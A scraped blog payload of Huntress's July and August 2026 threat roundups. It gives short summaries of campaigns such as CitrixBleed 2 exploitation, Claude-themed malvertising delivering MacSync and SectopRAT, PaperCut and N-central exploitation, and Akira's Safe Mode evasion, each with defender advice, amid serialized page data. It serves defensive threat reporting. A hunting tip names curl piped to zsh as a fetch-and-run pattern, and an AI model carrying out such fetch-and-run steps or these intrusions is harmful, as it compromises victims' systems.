An initial access broker is turning CitrixBleed 2 (CVE-2025-5777) into a repeatable seven-step kill chain that bleeds NetScaler memory, steals live session tokens, and sidesteps MFA on exposed gateways. The next stages include pivoting from hijacked user sessions to SYSTEM, planting fake Citrix style admin accounts, and dropping ScreenConnect or Zoho Assist for persistent hands-on keyboard access. This all culminates in DragonForce ransomware on unpatched environments and brutal downtime for anyone who slept on patching. Check out this blog for the breakdown of the attack.

","CitrixBleed 2 Weaponized by Initial Access Brokers","

Defenders should patch exposed NetScaler appliances, retain and review logs, terminate outstanding sessions, and audit for suspicious accounts and remote-management tooling.

","

In July we wrote about a threat actor leaning on AI to spit out a vibe-coded PowerShell recon script that mapped out an entire Active Directory environment then gift wrapped the results in a pretty HTML report. The playbook stayed familiar with an RDP pivot, noisy AD enum, and fast exfil, yet the tooling was one off and AI built. Check out this blog by Jevon Ang and Dray Agha for more!

Extract of Huntress SIEM identifying the tradecraft deployed

","Analyzing AI-Augmented Network Enumeration","

AI is turning mediocre operators into script factories, but it is not rewriting the attack lifecycle. Defenders who hunt for behaviors like AD enumeration and staged exfil are still on the right track even when the code looks brand new every time.

","

After searching for a Claude Desktop download on Bing, users from 29 different orgs landed on a “legit” Claude.ai artifact that quietly funneled them into SectopRAT. The attackers used fake installers and DLL sideloading, as well as EtherHiding on the blockchain and GPU-based anti-analysis measures in order to throw a wrinkle into the investigation. Learn more about the attack in this blog by Michael Tigges – and how he overcame these anti-analysis challenges.

Bing search results with several malicious sponsored advertisements, including the Claude.ai-hosted public artifact.

","How a Claude Desktop Malvertising Campaign Hit 29 Organizations with SectopRAT","

Attackers are continuing to weaponize AI hype and trusted domains. Defenders should keep an eye out for fake “desktop apps” in telemetry and treat every suspicious download link like a potential loader.

","https://images.huntress.com/asset/file/40dbf525d42c49128b4931b9355938a4",[2476,2477,2478],{"_122":2485,"_102":2486,"_682":95,"_125":2487},{"_122":2482,"_102":2483,"_682":95,"_125":2484},{"_122":2479,"_102":2480,"_682":95,"_125":2481},"

One sloppy web input let an attacker waltz through a SQL injection hole and start remodeling the victim's environment to their liking: enabling RDP, minting new admin accounts, dropping BadIIS modules and a stealthy XMRig miner, and then hiding it all in plain sight. This is what it looks like when criminals turn your own infrastructure into their home field. This blog post by Harlan Carvey and Lindsey O’Donnell Welch explains it all.

The threat actor installed the BadIIS modules

","How Attackers Are Molding Victim Environments","

Initial access is just the opening move; defenders need visibility into the messy post-compromise environment tweaks that let attackers dig in. Defenders can lock down web inputs, tighten identity and RDP exposure, and monitor strange configuration changes to deny attackers that home field advantage.

","

In July we dug into a widespread credential stuffing campaign slamming SonicWall VPN and firewall portals. Threat actors worked from a small cluster of DigitalOcean IPs using stolen creds for remote access logins across dozens of unrelated orgs. When the logins worked, attackers quietly slipped in. Our SOC confirmed around 30 compromises and saw attackers validating access at scale instead of going hands on keyboard. Check out the investigation and blog by Jevon Ang and Ethan Williams here!

Timeline of SonicWall brute-force attacks

","Widespread SonicWall Credential Stuffing Campaign","

SonicWall shops hit in this wave needed tighter remote access controls, full credential resets, heavier logging, and real MFA coverage.

","

Mac users searching Google for a Claude install guide are getting something nastier: MacSync, a six-stage stealer and RAT chain that lives off a weaponized Claude share and a copy-paste curl command. It phishes passwords, rips browser and keychain data, abuses TCC, then rewrites crypto wallet apps to harvest seed phrases and hand full control to the attacker. Learn more in this blog post by Josh Kiriakoff – and join our upcoming Tradecraft Tuesday episode where we will discuss this attack further!

The six stages of MacSync, from the pasted curl one-liner to the trojanized wallet apps

","Fake Claude Install Guide Leads to MacSync Stealer","

Malvertising around AI tools is now feeding full Mac kill chains that end in irreversible wallet theft. Hunt for curl piped to zsh, suspicious com.apple LaunchAgents in \\~/.local and ad hoc signed wallet apps before MacSync turns one bad click into a permanent crypto drain.

","July 2026 Adversary Tactics: Claude-themed malware campaigns, SonicWall credential stuffing, CitrixBleed 2 exploitation, and an AI agent running ransomware solo.",{"_193":194,"_195":196,"_104":197},{"_203":2638},{"_203":2621},{"_203":2604},{"_203":2575},{"_203":2544},{"_203":2529},{"_203":2497},{"_205":206,"_54":2498,"_32":208,"_209":2499},"7a3e37bfc78443d48d2efcdba1ec3f4d",{"_211":2500,"_213":2501,"_34":2502,"_216":2503,"_218":2504,"_54":2498,"_220":221,"_222":2505,"_224":221,"_225":2506,"_227":228,"_56":2507,"_230":230,"_231":2508,"_233":2509,"_283":17,"_235":236,"_237":2510},"ksrtPDlNQGhJESnopKjn4sdUP2x1",1785527377922,{"_240":2511,"_242":2512,"_244":245,"_246":2513,"_248":2514,"_250":2515,"_72":2516,"_252":2517,"_254":2518,"_77":2519,"_56":2507,"_257":2520,"_85":2521,"_91":2522},1785527515145,[],1794331300094,{},"Ben Nahorney",[],"5x3a5f7md7",{},"

Ben Nahorney has been at this long enough to fondly remember a time when ransomware just asked for gift cards. But no matter the endgame, Ben's goal remains the same: to scope out, unravel, and report on what's happening in the threat landscape. He's just as at home exploring a new attack chain as he is stepping back to map out where the whole landscape is heading. Either way, he wants to make sure it's worth your time, whether you're knee-deep in an incident or just threat-curious.

","Ben Nahorney has been at this long enough to fondly remember a time when ransomware just asked for gift cards. But no matter the endgame, Ben's goal remains the same: to scope out, unravel, and report on what's happening in the threat landscape. He's just as at home exploring a new attack chain as he is stepping back to map out where the whole landscape is heading. Either way, he wants to make sure it's worth your time, whether you're knee-deep in an incident or just threat-curious.","Ben",[2525,2526],"Staff Technical Community Engagement Writer",{},"Nahorney","https://www.linkedin.com/in/ben-nahorney/",{"_181":2523,"_183":2524},"https://images.huntress.com/asset/file/5a93e1de02104036929d72837691c139","ben-nahorney",[93],"Read blog posts from Ben Nahorney on the Huntress Cybersecurity Blog. ","Ben Nahorney | Staff Technical Community Engagement Writer | Huntress",{"_266":2528},{"_266":2527},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":207,"_32":208,"_209":2530},{"_211":212,"_213":214,"_34":2531,"_216":217,"_218":2532,"_54":207,"_220":221,"_222":223,"_224":221,"_225":2533,"_227":228,"_56":229,"_230":230,"_231":2534,"_233":2535,"_235":236,"_237":2536},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":2537,"_250":251,"_252":253,"_254":255,"_77":2538,"_56":229,"_257":258,"_259":260,"_85":261,"_91":2539},[],{},[],"jkn6gk7b9d",{},[2540,2541],{"_181":263,"_183":229},[93],{"_266":2543},{"_266":2542},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":2545,"_32":208,"_209":2546},"82ea7ba96a2349c4a672de253806c144",{"_211":2500,"_213":2547,"_34":2548,"_216":2549,"_218":2550,"_54":2545,"_220":221,"_222":2551,"_224":221,"_225":2552,"_227":228,"_56":2553,"_230":230,"_231":2554,"_233":2555,"_283":17,"_235":236,"_237":2556},1783431308991,{"_240":2557,"_242":2558,"_244":245,"_246":2559,"_248":2560,"_250":2561,"_72":2562,"_252":2563,"_254":2564,"_77":2565,"_56":2553,"_257":2566,"_85":2567,"_91":2568},1783431481819,[],1794330603877,{},"Susannah Matt",[],"iit4mysrnlf",{},"

A self-described \"sentence engineer,\" Susannah has spent more than a decade in the infosec industry translating technical jargon into snappy prose. She's been known to spend days agonizing over a single word choice, and she has a personal vendetta against the passive voice. When she's not kneedeep in a Google Doc, you can find her singing in the Brooklyn Community Chorus or traipsing around Prospect Park.

Susannah's favorite cybersecurity tip is: \"Open source software isn't free like a beer. It's free like a puppy.\"

","A self-described \"sentence engineer,\" Susannah has spent more an decade in the infosec industry translating technical jargon into snappy prose. She's been known to spend days agonizing over a single word choice, and she has a personal vendetta against the passive voice. When she's not kneedeep in a Google Doc, you can find her singing in the Brooklyn Community Chorus or traipsing around Prospect Park.","Susannah",[2571,2572],"Staff Technical Security Content Specialist",{},"Matt","https://www.linkedin.com/in/susannah-clark-matt-51060b149/",{"_181":2569,"_183":2570},"https://images.huntress.com/asset/file/c7ddb957e62f4831b0b340321df653da","susannah-matt",[93],"Read Blogs from Susannah Matt on the Huntress Cybersecurity Blog.","Susannah Matt | Staff Technical Security Content Specialist | Huntress ",{"_266":2574},{"_266":2573},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":2006,"_32":208,"_209":2576},{"_211":2008,"_213":2009,"_34":2577,"_216":2011,"_218":2578,"_54":2006,"_222":2013,"_224":221,"_225":2579,"_227":228,"_56":2015,"_527":2016,"_230":230,"_231":2580,"_233":2018,"_283":17,"_235":236,"_237":2581},{"_240":2020,"_242":2021,"_244":245,"_246":2022,"_248":2582,"_250":2024,"_72":2583,"_252":2026,"_254":2027,"_77":2584,"_56":2015,"_292":2029,"_257":2030,"_259":2015,"_85":2031,"_91":2585},[],{},[],{},[2586,2587],{},{"_181":2033,"_183":2034},[93],{"_266":2596},{"_266":2588},{"_205":206,"_54":270,"_32":248,"_209":2589},{"_211":539,"_213":540,"_34":2590,"_216":542,"_218":2591,"_54":270,"_222":544,"_224":539,"_225":2592,"_227":546,"_56":547,"_230":230,"_231":2593,"_233":2043,"_235":236,"_237":2594},{"_56":547},[],{"_551":2595,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_205":206,"_54":268,"_32":248,"_209":2597},{"_211":733,"_213":1026,"_34":2598,"_216":1028,"_218":2599,"_54":268,"_222":1030,"_224":733,"_225":2600,"_227":546,"_56":180,"_230":230,"_231":2601,"_233":2052,"_235":236,"_237":2602},{"_56":180},[],{"_551":2603,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":310,"_32":208,"_209":2605},{"_211":274,"_213":312,"_34":2606,"_216":312,"_218":2607,"_54":310,"_220":221,"_222":582,"_224":221,"_225":2608,"_227":228,"_56":317,"_230":230,"_231":2609,"_233":2610,"_235":236,"_237":2611},{"_240":321,"_242":322,"_244":245,"_246":323,"_248":2612,"_250":325,"_252":326,"_254":327,"_77":2613,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":2614,"_298":334},[],{},[],"16tbqo958lg",{},[2615,2616,2617],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":2620},{"_266":2619},{"_266":2618},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":2622},{"_211":346,"_213":347,"_34":2623,"_216":347,"_218":2624,"_54":344,"_220":221,"_222":600,"_224":221,"_225":2625,"_227":228,"_56":352,"_230":230,"_231":2626,"_233":2627,"_235":236,"_237":2628},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":2629,"_360":361,"_250":362,"_252":363,"_254":364,"_77":2630,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":2631,"_298":371},[],{},[],"0xryfwx2rsx9",{},[2632,2633,2634],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":2637},{"_266":2636},{"_266":2635},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":381,"_32":208,"_209":2639},{"_211":346,"_213":383,"_34":2640,"_216":383,"_218":2641,"_54":381,"_220":221,"_222":618,"_224":221,"_225":2642,"_227":228,"_56":388,"_230":230,"_231":2643,"_233":2644,"_283":17,"_235":236,"_237":2645},{"_240":392,"_242":393,"_244":245,"_246":394,"_248":2646,"_250":396,"_252":397,"_254":398,"_77":2647,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":2648},[],{},[],"wvidibs81sd",{},[2649,2650,2651],{"_181":407,"_301":17,"_302":17,"_183":408},[93],{"_266":2654},{"_266":2653},{"_266":2652},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_420":422,"_418":423},{"_420":421,"_418":180},{"_418":2658},"July 2026",{"_60":2662,"_62":2663,"_64":2664,"_66":2665,"_68":2666,"_74":2667,"_77":2668,"_56":2661,"_79":2669,"_81":2670,"_83":2671,"_85":2672,"_89":90,"_91":2673},"cb0cc112e63d45f6bff4425309ac9d02","Threat View from the Lens of Huntress Adversary Tactics: August 2026",[2890,2891,2892],{"_94":95},[2739,2740,2741,2742,2743,2744,2745],{"_186":2738,"_188":189,"_190":191,"_183":192},{},{"_122":1982,"_94":17},{"_181":2737,"_183":2661},{"_106":2674},"Mon Aug 31 2026 00:00:00 GMT-0400 (Eastern Daylight Time)",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"august-2026",[93],[2675,2676,2677,2678,2679,2680],{"_113":2474,"_115":2724,"_117":1969,"_118":169},{"_113":2459,"_115":2719,"_117":1959,"_118":484},{"_113":2448,"_115":2706,"_117":97,"_118":156},{"_113":141,"_115":2696,"_117":2697,"_118":144},{"_113":2435,"_115":2684,"_117":2685,"_118":131},{"_113":2430,"_115":2681,"_117":97,"_118":119},[2682],{"_122":2683,"_102":127,"_682":17,"_125":97},"

In August’s Tradecraft Tuesday, Security Operations Analyst Josh Kiriakoff and Principal Security Operations Center Analyst Ryan Dowd broke down a MacSync infection that began with a sponsored Google result for Claude. The link led to a legitimate claude.ai share page posing as Apple Support and instructed the victim to paste a curl command into Terminal. Josh and Ryan walked through MacSync’s six-stage chain: in-memory AppleScript execution, Full Disk Access prompts, password validation, credential and browser-data theft, LaunchAgent persistence, screen-recording access, and tampered crypto-wallet apps. They also explained how an analyst recovered samples from attacker infrastructure after the host went offline. Check out the full recap here—and make sure to sign up for our September 8 Tradecraft Tuesday!

$\"\"$ The August Tradecraft Tuesday episode was focused on a Fake Claude install guide that led to a macOS stealer

",[2686,2687,2688,2689,2690],"

Check out this month’s Product Lab, where Huntress CEO Kyle Hanslovan and CTO Chris Bisnett discussed product updates, upcoming features, and more.

$\"\"$ August 2026 Product Lab LIVE!

",{"_122":2695,"_102":470,"_682":17,"_125":97},{"_122":2694,"_102":468,"_682":17,"_125":97},{"_122":2693,"_102":2367,"_682":17,"_125":97},{"_122":2692,"_102":466,"_682":17,"_125":97},{"_122":2691,"_102":464,"_682":17,"_125":97},"

Fake meeting phishing scenarios: Managed SAT now includes deepfake phishing scenarios modeled on Zoom, Microsoft Teams, and Google Meet. Each scenario uses a fake meeting experience and a prompt to install a driver or update, giving learners practice recognizing a social-engineering path that moves beyond a conventional phishing email.
Crypto investment fraud episode: This new episode teaches learners how pig-butchering schemes build trust over time, use persuasive investment narratives, and direct victims toward fraudulent cryptocurrency platforms.
Custom HTML phishing scenarios: Admins can create more tailored phishing scenarios with custom HTML, including scenarios modeled on internal branding, familiar vendors, or real messages seen by their organization. Managed SAT sanitizes links in these scenarios to reduce the risk of accidental or malicious phishing of learners.

","

Cato Networks log source: Managed SIEM now supports Cato Networks as a log source through HEC. The integration brings security, firewall, IPS, and DNS events from the SASE layer into the platform, with IPS events enriched with MITRE ATT\\&CK context.
Hyper-V virtual machine and virtual disk detections: Managed SIEM now detects Hyper-V virtual machine registration and virtual hard disk creation. The detections provide the machine name, machine ID, VHDX path, host, and associated user context so analysts can identify suspicious hypervisor activity without wading through the entire Hyper-V event channel.
You can now export EDR & SIEM incident reports & timelines via PDF (GA): Partners and customers can now download any EDR or SIEM incident report as a polished PDF. Includes full investigation timeline and SOC response in one clean artifact.

","

Additional security controls in Managed ISPM: We are now approaching 80 security controls in Managed ISPM, having recently added seven new controls for Exchange Online Protection and Microsoft Defender for Office 365.

","

Redesigned ITDR dashboard is now live: The redesigned Managed ITDR dashboard is now generally available to all partners and customers! Built to help you investigate identity threats faster and get the context you need in one place, the new dashboard brings powerful investigation capabilities directly into your ITDR workflow, including Rapid Identity Triage, Failed Login Characterization, and Quick SIEM Search. Starting now, the redesigned dashboard will be the default dashboard when you access Managed ITDR. Get more ITDR dashboard details in our new blog.
Executive Summaries now in ITDR incident reports: We're excited to announce that all ITDR incident reports now include an Executive Summary. The Executive Summary automatically turns deep technical ITDR findings into plain-English reports you can hand directly to business leaders, insurers, and legal without rewriting. The summary clearly explains what happened, why it matters, and what’s been done/what to do, saving hours per incident while building client trust and speeding decisions. The Executive Summary appears in plain text at the top of every ITDR incident report, and is also available to download as a standalone PDF from the portal, ready to share directly.
New per-identity notification escalations model: Huntress Managed ITDR has officially begun using per-identity escalations for new unexpected country and unexpected VPN activity. With this change, each identity that generates new escalatable activity will receive its own Huntress escalation and notification, making it easier to see exactly which identity needs your attention.
IP-based expected access rules: Partners can now allowlist individual IP addresses and CIDR ranges at the identity, organization, or account level. This gives teams a more precise alternative to allowlisting an entire country or VPN and helps reduce recurring unexpected-login escalations.
Microsoft 365 usage-location inference: When an identity lacks a Microsoft 365 usage location, Managed ITDR can now use the tenant’s default country instead of generating a missing-location escalation. The change reduces predictable noise while preserving the underlying login protection.

","

macOS Screen Sharing visibility and root-session abuse detection: Managed EDR now observes Screen Sharing sessions on supported macOS endpoints, including the source address, session user, and authentication type. It also detects a session attaching to a root user session via the legacy authentication handshake, providing defenders with visibility into remote graphical access that was previously difficult to confirm.
Last logged-in user visibility for macOS endpoints: The endpoint overview now shows the most recent interactive user and login time for managed macOS hosts. System-owned login and shutdown records are excluded, helping operators attribute endpoint activity to a real user during triage and asset review.
Full IPv4 address visibility in the Huntress portal: The platform now displays all IPv4 addresses collected by the Base Agent survey, rather than only the first address returned. This helps operators understand systems with multiple network interfaces, and the complete list is also available through the REST API and exports.
macOS Gatekeeper bypass via quarantine stripping is now detected: Huntress now detects macOS Gatekeeper bypasses that strip a file’s quarantine attribute, allowing unsigned or unnotarized payloads to launch without prompts on endpoints running Agent v0.14.196. Common in AMOS, Poseidon, Odyssey, and MacSync campaigns, this activity was previously invisible. Detection targets system call, catching shell, scripted, and compiled callers alike.
New MAV Configuration Settings: Network File Scanning and Archive File Scanning (GA): You can now configure Network File Scanning and Archive File Scanning for Microsoft Defender via the Managed Antivirus (MAV) capability. These settings were previously fixed to Huntress defaults but are now partner-configurable. The default settings remain in place, so there is no immediate change to endpoint configurations.
You can now export EDR & SIEM incident reports & timelines via PDF (GA): Partners and customers can now download any EDR or SIEM incident report as a polished PDF. Includes full investigation timeline and SOC response in one clean artifact.

",[2698,2699],"

",{"_122":2703,"_102":2704,"_682":95,"_125":2705},{"_122":2700,"_102":2701,"_682":95,"_125":2702},"

On August 27, PaperCut warned that attackers were exploiting a pre-authentication vulnerability in PaperCut NG and MF. Huntress confirmed exploitation in two customer environments, recovered encoded discovery commands, and reproduced a complete remote code execution chain against a stock PaperCut server. The chained flaws let an unauthenticated attacker alter trusted configuration and execute Java code in the Application Server process. PaperCut released emergency patches, including Release 3 on September 1.

","PaperCut Actively Exploited: A Pre-Auth RCE Chain","

Remove PaperCut application servers from the public internet, patch supported versions, preserve logs and file metadata, and investigate unexpected Java classes or command-shell activity spawned by `pc-app.exe`.

","

On August 1 and 2, N-able disclosed a critical authentication bypass in N-central, its remote monitoring and management (RMM) platform for managing customer environments. Attackers could obtain administrative access without credentials, then use N-central’s Take Control feature to reach downstream endpoints, including domain controllers. Huntress saw active exploitation, traced suspicious remote-control sessions, identified unpatched servers, and contacted at-risk partners and customers while tuning detections and hunting across telemetry. N-able released a second, hardening-focused hotfix on August 6.

$\"\"$ Timeline of threat actors tearing through downstream hosts on two impacted organizations

","Critical N-able N-central Vulnerability and Active Exploitation","

Treat RMM consoles as high-value control planes. Patch immediately, restrict console access, review remote-control activity, and verify that response isolation is enabled.

",[2707,2708,2709],{"_122":2716,"_102":2717,"_682":95,"_125":2718},{"_122":2713,"_102":2714,"_682":95,"_125":2715},{"_122":2710,"_102":2711,"_682":95,"_125":2712},"

The U.S. Department of Justice and FBI seized domains supporting QScan and QTRouter, platforms allegedly operated and used by the China-linked QTFY group. The infrastructure helped scan and compromise internet-facing IoT devices, then route attack traffic through those devices to conceal activity against sensitive networks. The disruption exposes a model in which vulnerable edge devices become both a target and an operational shield. It also shows how state-linked operators can build scale by aggregating compromised routers, cameras, and other network-connected systems.

$\"\"$ Lumen’s analysis of the QTROUTER platform

","DOJ Disrupts Infrastructure Used by China-Linked Hackers","

Inventory and harden internet-facing IoT and network devices, segment management interfaces, apply patches quickly, and investigate unusual outbound scanning or relay behavior.

","

Sygnia identified a China-linked intrusion set, tracked as “Fire Ant,” compromising Cisco IOS XR routers and TACACS servers. The attackers used the routers to capture traffic, steal TACACS credentials, and suppress logs and command output, limiting defenders’ visibility while maintaining access. Targeting network infrastructure gave the group both privileged access and a way to interfere with the evidence needed to detect it. The activity reinforces that routers and authentication servers are active security boundaries, not passive background systems.

","Fire Ant Compromises Cisco Routers and TACACS Servers","

Patch network devices, restrict management access, and forward logs to systems attackers cannot alter from the router.

","

Australian authorities charged two Western Australian men, aged 21 and 23, following an AFP, FBI, and Western Australia Police investigation. Police allege the pair helped operate a syndicate that inserted malicious code into open-source software, potentially compromising more than 1,000 organizations, stealing over 500,000 credentials, and exfiltrating at least 300 GB of data.

","Two Alleged TeamPCP Hackers Arrested in Australia","

Compromised developer tooling can give a small group global reach. Organizations should inventory software dependencies, monitor unexpected package changes, and rotate credentials exposed through the software supply chain.

",[2720],{"_122":2721,"_102":2722,"_682":95,"_125":2723},"

A public-facing Java/Tomcat application accepted unsanitized input, enabling an SQL injection attack against its Oracle backend. Instead of dropping a conventional payload, the attackers stored a post-exploitation toolkit called khunt inside Oracle as Java source and PL/SQL objects. From the database, khunt could execute Windows commands, explore files, retrieve usernames and passwords, and copy the SAM, SECURITY, and SYSTEM registry hives. The attacker ultimately achieved SYSTEM-level access, demonstrating how a database compromise can lead to operating-system control while leaving malicious code outside the usual file-based detection paths.

$\"\"$ Detections firing for suspicious credential theft activity

","Toolkit Installation via SQL Injection Shows the Classics Still Hit","

Prevent SQL injection with parameterized queries, restrict database privileges, and monitor database objects and processes for unexpected OS command execution.

",[2725,2726,2727],{"_122":2734,"_102":2735,"_682":95,"_125":2736},{"_122":2731,"_102":2732,"_682":95,"_125":2733},{"_122":2728,"_102":2729,"_682":95,"_125":2730},"

Two macOS Screen Sharing vulnerabilities, CVE-2026-43760 and CVE-2026-65400, surfaced within days of each other. The more serious flaw abuses an error in Secure Remote Password handling to bypass authentication and read or write arbitrary files as root, enabling remote code execution. Huntress identified useful detection signals, including unusual Screen Sharing sessions under the root account, SRP authentication, and execution of Apple’s privileged SSFileCopySender helper. Hosted macOS infrastructure is particularly exposed when Screen Sharing is internet-facing or provisioned from outdated images.

","Latest macOS Update Patches Pre-Auth Remote Code Execution Screen Sharing Vulnerability","

Patch to macOS 26.6.1, 15.7.9, or 14.8.9, or disable Screen Sharing until updates are applied.

","

We recently saw an incident where an Akira affiliate entered through an exposed SonicWall VPN, moved to the domain controller, enumerated Active Directory, archived file shares, and exfiltrated data. Before deploying ransomware, the attacker rebooted the host into Safe Mode with Networking, adding AnyDesk to the Safe Mode service list so remote access would continue while the Huntress agent and Defender real-time protection stayed offline. The plan partially worked, but Akira then ran out of virtual memory in the stripped-down environment and failed to encrypt the system. The attackers still collected credentials and stolen files, however.

$\"\"$ End-to-end timeline of the intrusion

","Akira Hits Safe Mode: Ransomware Rebooting Around EDR","

Monitor Safe Mode and boot-configuration changes, require MFA on VPNs, and treat failed encryption as a breach, not a clean bill of health.

","

After Black Hat and DEF CON, a threat actor posed as a CoinDesk executive and contacted a Huntress researcher on X with a fake conference-planning proposal. The lure led to a Google Doc containing a malicious Apps Script sidebar, fake decryption instructions, and ClickFix-style commands. A second document impersonated DocSend and delivered different payloads to macOS and Windows users, including AMOS, NetSupport RAT, a Ledger implant, and a traffic-intercepting proxy. The campaign shows how attackers can turn trusted collaboration tools into malware delivery systems while adapting payloads to the victim’s platform. Check out our upcoming Tradecraft Tuesday episode, where we’ll go through this attack in more detail!

$\"\"$ The X account messaging our researcher about the \"conference,\" sharing the Google Doc and encryption key

","Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware","

Treat unexpected post-event messages, document prompts, and requests to bypass security controls as phishing, even when they use familiar services.

","August 2026 Adversary Tactics: post-DEF CON phishing via a malicious Google Doc, Akira rebooting into Safe Mode to dodge EDR, and a macOS Screen Sharing RCE.",{"_193":194,"_195":196,"_104":197},{"_203":2873},{"_203":2856},{"_203":2839},{"_203":2810},{"_203":2794},{"_203":2779},{"_203":2746},{"_205":206,"_54":2498,"_32":208,"_209":2747},{"_211":2500,"_213":2501,"_34":2748,"_216":2503,"_218":2749,"_54":2498,"_222":2505,"_224":221,"_225":2750,"_227":228,"_56":2507,"_527":2751,"_230":230,"_231":2752,"_233":2753,"_283":17,"_235":236,"_237":2754},{"_240":2511,"_242":2512,"_244":245,"_246":2513,"_248":2755,"_250":2515,"_72":2756,"_252":2517,"_254":2518,"_77":2757,"_56":2507,"_257":2520,"_85":2521,"_91":2758},[],{},-49474.25,[],"uokzwrqk5ui",{},[2759,2760],{},{"_181":2523,"_183":2524},[93],{"_266":2770},{"_266":2761},{"_205":206,"_54":268,"_32":248,"_209":2762},{"_211":733,"_213":1026,"_34":2763,"_216":1028,"_218":2764,"_54":268,"_222":1030,"_224":733,"_225":2765,"_227":546,"_56":180,"_230":230,"_231":2766,"_233":2767,"_235":236,"_237":2768},{"_56":180},[],{"_551":2769,"_553":95,"_555":34,"_556":97},[],"zrgn951egco",{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":270,"_32":248,"_209":2771},{"_211":539,"_213":540,"_34":2772,"_216":542,"_218":2773,"_54":270,"_222":544,"_224":539,"_225":2774,"_227":546,"_56":547,"_230":230,"_231":2775,"_233":2776,"_235":236,"_237":2777},{"_56":547},[],{"_551":2778,"_553":95,"_554":17,"_555":34,"_556":97},[],"pmd4rjqj5g",{},{"_557":558,"_559":560},{"_205":206,"_54":207,"_32":208,"_209":2780},{"_211":212,"_213":214,"_34":2781,"_216":217,"_218":2782,"_54":207,"_220":221,"_222":223,"_224":221,"_225":2783,"_227":228,"_56":229,"_230":230,"_231":2784,"_233":2785,"_235":236,"_237":2786},{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":2787,"_250":251,"_252":253,"_254":255,"_77":2788,"_56":229,"_257":258,"_259":260,"_85":261,"_91":2789},[],{},[],"m1e5xbzxryl",{},[2790,2791],{"_181":263,"_183":229},[93],{"_266":2793},{"_266":2792},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":2545,"_32":208,"_209":2795},{"_211":2500,"_213":2547,"_34":2796,"_216":2549,"_218":2797,"_54":2545,"_220":221,"_222":2551,"_224":221,"_225":2798,"_227":228,"_56":2553,"_230":230,"_231":2799,"_233":2800,"_283":17,"_235":236,"_237":2801},{"_240":2557,"_242":2558,"_244":245,"_246":2559,"_248":2802,"_250":2561,"_72":2803,"_252":2563,"_254":2564,"_77":2804,"_56":2553,"_257":2566,"_85":2567,"_91":2805},[],{},[],"hi46nc1zraj",{},[2806,2807],{},{"_181":2569,"_183":2570},[93],{"_266":2809},{"_266":2808},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":2006,"_32":208,"_209":2811},{"_211":2008,"_213":2009,"_34":2812,"_216":2011,"_218":2813,"_54":2006,"_222":2013,"_224":221,"_225":2814,"_227":228,"_56":2015,"_527":2016,"_230":230,"_231":2815,"_233":2018,"_283":17,"_235":236,"_237":2816},{"_240":2020,"_242":2021,"_244":245,"_246":2022,"_248":2817,"_250":2024,"_72":2818,"_252":2026,"_254":2027,"_77":2819,"_56":2015,"_292":2029,"_257":2030,"_259":2015,"_85":2031,"_91":2820},[],{},[],{},[2821,2822],{},{"_181":2033,"_183":2034},[93],{"_266":2831},{"_266":2823},{"_205":206,"_54":270,"_32":248,"_209":2824},{"_211":539,"_213":540,"_34":2825,"_216":542,"_218":2826,"_54":270,"_222":544,"_224":539,"_225":2827,"_227":546,"_56":547,"_230":230,"_231":2828,"_233":2043,"_235":236,"_237":2829},{"_56":547},[],{"_551":2830,"_553":95,"_554":17,"_555":34,"_556":97},[],{},{"_557":558,"_559":560},{"_205":206,"_54":268,"_32":248,"_209":2832},{"_211":733,"_213":1026,"_34":2833,"_216":1028,"_218":2834,"_54":268,"_222":1030,"_224":733,"_225":2835,"_227":546,"_56":180,"_230":230,"_231":2836,"_233":2052,"_235":236,"_237":2837},{"_56":180},[],{"_551":2838,"_553":95,"_555":34,"_556":97},[],{},{"_557":574,"_559":575,"_576":577},{"_205":206,"_54":310,"_32":208,"_209":2840},{"_211":274,"_213":312,"_34":2841,"_216":312,"_218":2842,"_54":310,"_220":221,"_222":582,"_224":221,"_225":2843,"_227":228,"_56":317,"_230":230,"_231":2844,"_233":2845,"_235":236,"_237":2846},{"_240":321,"_242":322,"_244":245,"_246":323,"_248":2847,"_250":325,"_252":326,"_254":327,"_77":2848,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":2849,"_298":334},[],{},[],"e54te8tu31",{},[2850,2851,2852],{"_181":335,"_301":17,"_302":17,"_183":336},[93],{"_266":2855},{"_266":2854},{"_266":2853},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":2857},{"_211":346,"_213":347,"_34":2858,"_216":347,"_218":2859,"_54":344,"_220":221,"_222":600,"_224":221,"_225":2860,"_227":228,"_56":352,"_230":230,"_231":2861,"_233":2862,"_235":236,"_237":2863},{"_240":356,"_242":357,"_244":245,"_246":358,"_248":2864,"_360":361,"_250":362,"_252":363,"_254":364,"_77":2865,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":2866,"_298":371},[],{},[],"acomg76omun",{},[2867,2868,2869],{"_181":372,"_301":17,"_302":17,"_183":373},[93],{"_266":2872},{"_266":2871},{"_266":287